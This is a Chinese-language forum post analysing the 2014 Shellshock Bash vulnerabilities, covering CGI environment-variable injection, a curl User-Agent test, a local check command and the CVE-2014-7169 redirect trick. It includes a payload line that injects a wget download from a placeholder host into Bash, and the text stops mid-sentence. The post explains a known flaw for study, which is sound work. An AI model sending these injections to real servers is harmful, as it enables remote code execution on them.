阅读:3305回复:0
Shellshock漏洞回顾与分析测试图片:2014102105213352464.jpg ◆0 漏洞概述 很多人或许对2014上半年发生的安全问题“心脏流血”(Heartbleed Bug)事件记忆颇深,2014年9月,又出现了另外一个“毁灭级”的漏洞——Bash软件安全漏洞。这个漏洞由法国GNU/Linux爱好者Stéphane Chazelas所发现。随后,美国电脑应急响应中心(US-CERT)、红帽以及多家从事安全的公司于周三(北京时间2014年9月24日)发出警告。 关于这个安全漏洞的细节可参看:CVE-2014-6271 和 CVE-2014-7169。 漏洞概况信息如下: 漏洞英文名称 Bash Shellshock 中文命名 破壳(X-CERT) 威胁响应等级 A级 漏洞相关CVE编号 CVE-2014-6271 漏洞发现者 Stéphane Chazelas(法国) 漏洞发现事件 2014年9月中旬 漏洞公布时间 9月25日 漏洞影响对象 bash 1.14至bash 4.3的Linux/Unix系统 2014年9月,UNIX、Linux系统中广泛使用的Bash软件被曝出了一系列、已经存在数十年的漏洞(Bash或Shellshock),在业界引起了非常大的影响。 最初的bug已经修复了,但引发了人们对Bash的解析程序可能产生0day漏洞的关切,随后又挖掘出了第二个漏洞CVE-2014-7169,这个漏洞也在很快得到了修复。 不少Linux发行版本连夜发布了修复版本的Bash,在服务器领域占有不少份额的大多数FreeBSD 和NetBSD已经默认关闭了自动导入函数的功能,以应对未来可能出现的漏洞。 在这个漏洞的风波逐渐平息之余,不少业内人士也在思考,它为何波及如此之广,影响如此之大。 InfoWorld的专栏作者Andrew C. Oliver在一篇文章中表达了自己看法,他认为CGI技术的普及是个错误,正是因为CGI技术的不合理之处,Shellshock才有机可乘。 CGI技术是Web技术刚兴起的时候发明的,它是最早的可以创建动态网页内容的技术之一。它会把一个HTTP请求转化为一次shell调用。 而Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞,启动Bash的时候,它不但会导入这个函数,而且也会把函数定义后面的命令执行。在有些CGI脚本的设计中,数据是通过环境变量来传递的,这样就给了数据提供者利用Shellshock漏洞的机会。 0.1 Bash介绍 Bourne Again Shell(简称BASH)是在GNU/Linux上最流行的SHELL实现,于1980年诞生,经过了几十年的进化从一个简单的终端命令行解释器演变成了和GNU系统深度整合的多功能接口。 根据维基百科的描述:Bash,Unix shell的一种。1989年发布第一个正式版本,原先是计划用在GNU操作系统上,但能运行于大多数类Unix系统的操作系统之上,包括Linux与Mac OS X v10.4都将它作为默认shell。它也被移植到Microsoft Windows上的Cygwin与MinGW,或是可以在MS-DOS上使用的DJGPP项目。在Novell NetWare与Android上也有移植。 0.2 CGI技术与脚本解析 CGI (Common Gateway Interface),是一种基于浏览器的输入,在Web服务器上运行程序的方法。 CGI脚本让浏览器与用户产生交互,例如,信息评论,表单选择,数据库查询。 作为网页设计者,通常创建客户端的 CGI脚本,服务器端的程序用来处理用户输入,结果返回给用户。 后台处理程序不仅仅可以用PHP、Python、Perl等脚本来接受请求、解释执行、响应客户端,当然还可以用Bash脚本来解释执行用户提交的GET或POST请求。 0.3 Bash漏洞与远程执行 洞利用一般分为本地利用和远程执行利用。 该漏洞爆出后,一些研究人员最初认为该漏洞只是本地漏洞,所以无法很好地利用。 随着研究的深入,研究发现其实它可以进行远程利用。2014年9月24日Bash被公布存在远程代码执行漏洞。 Bash漏洞其实是非常经典的“注入式攻击”,也就是可以向 bash注入一段命令,从bash1.14 到4.3都存在这样的漏洞。 由于Bash存储远程执行漏洞,所以,理论上,可以在HTTP请求中注入一个Bash命令,进行远程执行,比如: #!bash () { :;}; wget http://www.XXX.com/testvul.sh 对于利用Bash脚本处理用户请求的网站,攻击者可以精心伪造数据,通过网络传到一台服务器上,直接或间接触发一个bash脚本,这样就可以远程执行恶意代码。 由于Bash是一个被广泛集成的软件,几乎所有的系统都在运行,从Rapsberry Pis到手机,再到数据中心的服务器以及大型机等。 由于自动导入函数的功能至少从Bash 3.0开始就存在了,所以这个bug有可能在大多数系统中存在近20年了。 由于Apache服务器中使用mod_cgi(不包括mod_php或mod_python)运行脚本的时候,数据是通过环境变量来传递的,这可以算是互联网领域最古老的一些技术了。 其他一些客户端也会受到影响——比如Linux的DHCP客户端——它大量运用Bash脚本来使修改生效,这也使黑客能通过在DHCP数据包中加入恶意数据来达到攻击的目的。 鉴于Bash是大多数Linux系统(以及OSX)上默认的shell,这个漏洞就意味着,把有害数据编入环境变量,传到服务器端,触发服务器运行Bash脚本,就完成了攻击(passing an poisoned environment variable through to a server running a CGI script could trivially be compromised)。 举个例子,HTTP协议的头User-Agent通常是通过环境变量HTTP_USER_AGENT来传递的,这意味使用以下命令就可以测试这个漏洞了: #!bash curl -H 'User-Agent:() { :; }; echo -e "rnVulrn"' http://example.com/some-cgi/script.cgi 对于不传递User-Agent的服务器来说,常常还有其他受攻击的可能——比如Cookie,Referer或者请求本身。 另外,这个bug不仅仅影响CGI脚本和Apache——如果其他程序也收到并传递了有害的环境变量(比如ssh服务会接收TERM或DISPLAY环境变量),然后这些进程再运行一个Bash脚本(或通过system()调用来执行),同样的漏洞也会被利用。 和HTTP不同,SSH一般不允许匿名请求——触发这个漏洞之前必须要登录——但是代码托管服务商们却允许匿名登录(哪怕只登录到一个权限受限的shell),所以为了防止入侵,GitHub更新了他们的企业级产品,Bitbucket也更新了他们的服务器。 由于Bash漏洞能够远程执行,所以会产生像struts2等漏洞利用一样的效果,对攻击者而言,通常就是“拿站或拿服务器”,再去执行其他操作。 下面引用一张图,做个简单的形象说明。 图片:2014102105213352464.jpg ◆1 漏洞原因分析 漏洞信息最早来源于国外知名漏洞网站exploit-db下的第34765篇漏洞报告,其中出现了一条验证命令: #!bash env x='() { :;}; echo vulnerable' bash -c "echo this is a test " 如果在一个含有版本号小于bash 4.3的linux或者unix系统,本地执行以上命令,可能会得到以下输出: #!bash Vulnerable this is a test 其中如果出现第一行vulnerable则说明该系统存在一个由bash程序缺陷导致的任意命令执行漏洞。 Windows Cygwin Terminal本地执行结果如下: 图片:2014102105213352464.jpg Kali 1.0.9-i386本地执行结果如下: 图片:2014102105213352464.jpg CVE-2014-6271中的bug修复后,问题马上就解决了,大多数厂商都及时提供了修复后的Bash版本。面向互联网的服务器没有理由不马上修复它,因为这个漏洞会使主机完全落入别人的控制(以Apache所使用的用户身份)中。 但是,大家的目光已经聚焦在这个领域,新的bug被发现了。同时使用Bash的shell重定向功能和函数自动导入功能,CVE-2014-7169出现了。这回导致的结果是可以随意读写远程机器上的文件,使用的手段和上次一样,只不过这次是利用了shell的重定向符号。 #!bash env CVE_2014_7169='() { (a)=>' bash -c "echo date"; cat echo 这次解析器先停在=号上(由于(a)=不是一个有效的Bash表达式),但至关重要的是把echo data </pre> 这是一条有效的Bash命令,语义上它等价于下面这种更常见的形式: #!bash date >echo 注意,另外一个重定向符号 |
|